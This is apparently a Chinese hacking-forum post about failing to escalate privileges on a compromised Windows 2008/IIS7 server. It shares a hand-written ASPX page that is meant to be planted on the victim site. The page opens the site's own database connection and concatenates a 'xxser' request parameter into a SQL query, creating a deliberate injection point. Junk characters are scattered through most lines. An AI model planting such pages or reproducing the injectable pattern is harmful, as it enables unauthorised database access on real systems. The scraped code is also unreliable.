昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
$ c# X! C3 O3 C6 V其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。' z N) l; q# |9 j0 Q( ^6 \: g
代码量不多,自己写个拉倒了。烦死了。
/ K, z0 g# q- j" ^3 s; h5 [
3 b) {1 o3 p6 z( r; s0 z/ R9 u4 }4 S8 `, O0 I( s. S$ q5 k# w
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">$ Q- I. c# r+ S: k! h4 c6 H
<html xmlns="http://www.w3.org/1999/xhtml">2 g5 {4 w: `8 }( G# J# z# B; d
<head runat="server">$ B- u( u' w7 W8 O! J' }
<title>暗影aspx构造注射专用页面</title>
3 e" Z7 |! I4 ]- Z</head>8 J% j1 ~! H$ _; ^% [1 D6 H
<body>" B- }" Y! D. I$ D
<form id="form1" runat="server">
' w- \$ t) Z2 a2 P- K1 Q5 ]2 R1 | <div>
9 `9 b+ _+ L3 V) B, n( m0 K <script language="c#" runat="server">
. Q% z! e$ `6 `3 s7 _5 P* B $ F4 `% {! Q1 }0 g5 N
void page_init(object sender, EventArgs e)
1 f; c' f, @0 m5 ~ {2 j5 f. `3 [& W" U' t# a
6 d# t+ Q) e. y! n6 q
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();3 E1 L* f& N$ k) I* y* W# @1 Y
; o: q! C/ V# R. J: o
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();( w4 B& t) C: O# _/ q0 @! |- m" P Z
conn.Open();/ o6 j9 W$ h6 N1 i: W
9 _! d3 M+ Z0 ?7 q" |- q' h7 Y8 w
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1. H9 j0 S! k% _) X; R9 ~
/ K5 [5 _' G& ~4 p6 V8 ~, ~ System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);- [! V9 {! F5 S" G
int x = command.ExecuteNonQuery();2 c5 r j5 p7 Y
Response.Write(i+"\n"); e* A6 W2 k3 G2 h7 h& p$ c+ R
Response.Write(x);
* l& c# T% ]2 H/ A* H conn.Close();9 h4 J3 k1 o F$ l" [
}& Q0 z- E7 x8 B7 q) o* k
2 c3 b/ H ^0 o, G% T3 c/ K
</script>8 k6 V. H6 b f
</div>4 g; p9 V$ Z3 m' V+ y }* p" L6 s6 q
</form>
2 }# N) i" p7 J5 Z% g# i</body>7 h9 Q' v, ]$ {; n) B {
</html>
U! u/ \6 @ S |